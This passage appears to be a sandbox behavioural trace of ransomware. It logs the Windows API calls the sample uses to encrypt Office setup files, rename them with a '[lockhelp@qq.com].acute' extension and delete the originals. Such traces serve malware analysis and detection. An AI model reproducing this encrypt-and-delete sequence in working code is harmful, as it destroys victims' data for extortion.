CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.437] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0053.437] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.437] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x32b, lpOverlapped=0x0) returned 1 [0053.439] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x330, dwBufLen=0x330 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x330) returned 1 [0053.439] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x330, lpOverlapped=0x0) returned 1 [0053.440] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0053.440] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.440] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.440] CryptDestroyKey (hKey=0x593260) returned 1 [0053.441] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.441] CryptDestroyKey (hKey=0x593220) returned 1 [0053.441] CloseHandle (hObject=0x1ac) returned 1 [0053.441] CloseHandle (hObject=0x194) returned 1 [0053.442] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0053.443] SetEvent (hEvent=0x14c) returned 1 [0053.443] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.444] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=16852) returned 1 [0053.444] CloseHandle (hObject=0x194) returned 1 [0053.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0053.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.444] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.444] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.445] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0053.445] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.445] ReadFile (in: hFile=0x194, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x41d4, lpOverlapped=0x0) returned 1 [0053.448] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x41e0) returned 1 [0053.448] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x41e0, lpOverlapped=0x0) returned 1 [0053.450] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0053.450] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.450] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.450] CryptDestroyKey (hKey=0x593260) returned 1 [0053.450] WriteFile (in: hFile=0x1ac, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.450] CryptDestroyKey (hKey=0x593220) returned 1 [0053.450] CloseHandle (hObject=0x194) returned 1 [0053.450] CloseHandle (hObject=0x1ac) returned 1 [0053.451] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0053.452] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.452] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=31094) returned 1 [0053.452] CloseHandle (hObject=0x1ac) returned 1 [0053.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0053.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0053.453] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.453] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0053.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.455] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0053.455] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.455] ReadFile (in: hFile=0x1ac, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x7976, lpOverlapped=0x0) returned 1 [0053.660] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x7980, dwBufLen=0x7980 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x7980) returned 1 [0053.660] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x7980, lpOverlapped=0x0) returned 1 [0053.866] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593260) returned 1 [0053.866] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0053.866] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0053.866] CryptDestroyKey (hKey=0x593260) returned 1 [0053.866] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0053.866] CryptDestroyKey (hKey=0x593220) returned 1 [0053.866] CloseHandle (hObject=0x1ac) returned 1 [0053.866] CloseHandle (hObject=0x194) returned 1 [0053.867] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0053.868] SetEvent (hEvent=0x14c) returned 1 [0053.868] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0053.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.033] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1608) returned 1 [0054.033] CloseHandle (hObject=0x174) returned 1 [0054.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20 [0054.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.033] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.033] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.034] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932e0) returned 1 [0054.034] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.034] ReadFile (in: hFile=0x174, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x648, lpOverlapped=0x0) returned 1 [0054.036] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x650, dwBufLen=0x650 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x650) returned 1 [0054.036] WriteFile (in: hFile=0x184, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x650, lpOverlapped=0x0) returned 1 [0054.037] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593320) returned 1 [0054.037] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.037] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0054.037] CryptDestroyKey (hKey=0x593320) returned 1 [0054.037] WriteFile (in: hFile=0x184, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0054.037] CryptDestroyKey (hKey=0x5932e0) returned 1 [0054.037] CloseHandle (hObject=0x174) returned 1 [0054.037] CloseHandle (hObject=0x184) returned 1 [0054.038] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1 [0054.039] SetEvent (hEvent=0x14c) returned 1 [0054.039] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0054.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.039] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1800) returned 1 [0054.039] CloseHandle (hObject=0x184) returned 1 [0054.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0054.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.039] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.039] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.041] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5932e0) returned 1 [0054.041] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.041] ReadFile (in: hFile=0x184, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x708, lpOverlapped=0x0) returned 1 [0054.043] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x710, dwBufLen=0x710 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x710) returned 1 [0054.043] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x710, lpOverlapped=0x0) returned 1 [0054.044] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593320) returned 1 [0054.044] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.044] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0054.044] CryptDestroyKey (hKey=0x593320) returned 1 [0054.044] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0054.044] CryptDestroyKey (hKey=0x5932e0) returned 1 [0054.044] CloseHandle (hObject=0x184) returned 1 [0054.044] CloseHandle (hObject=0x174) returned 1 [0054.045] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0054.046] SetEvent (hEvent=0x14c) returned 1 [0054.046] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0054.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.046] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=11463) returned 1 [0054.046] CloseHandle (hObject=0x174) returned 1 [0054.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0054.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0054.046] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.046] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0054.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0054.049] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x593220) returned 1 [0054.050] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.050] ReadFile (in: hFile=0x174, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x2cc7, lpOverlapped=0x0) returned 1 [0054.051] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x2cd0, dwBufLen=0x2cd0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x2cd0) returned 1 [0054.051] WriteFile (in: hFile=0x194, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x2cd0, lpOverlapped=0x0) returned 1 [0054.052] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5932e0) returned 1 [0054.052] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0054.052] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, 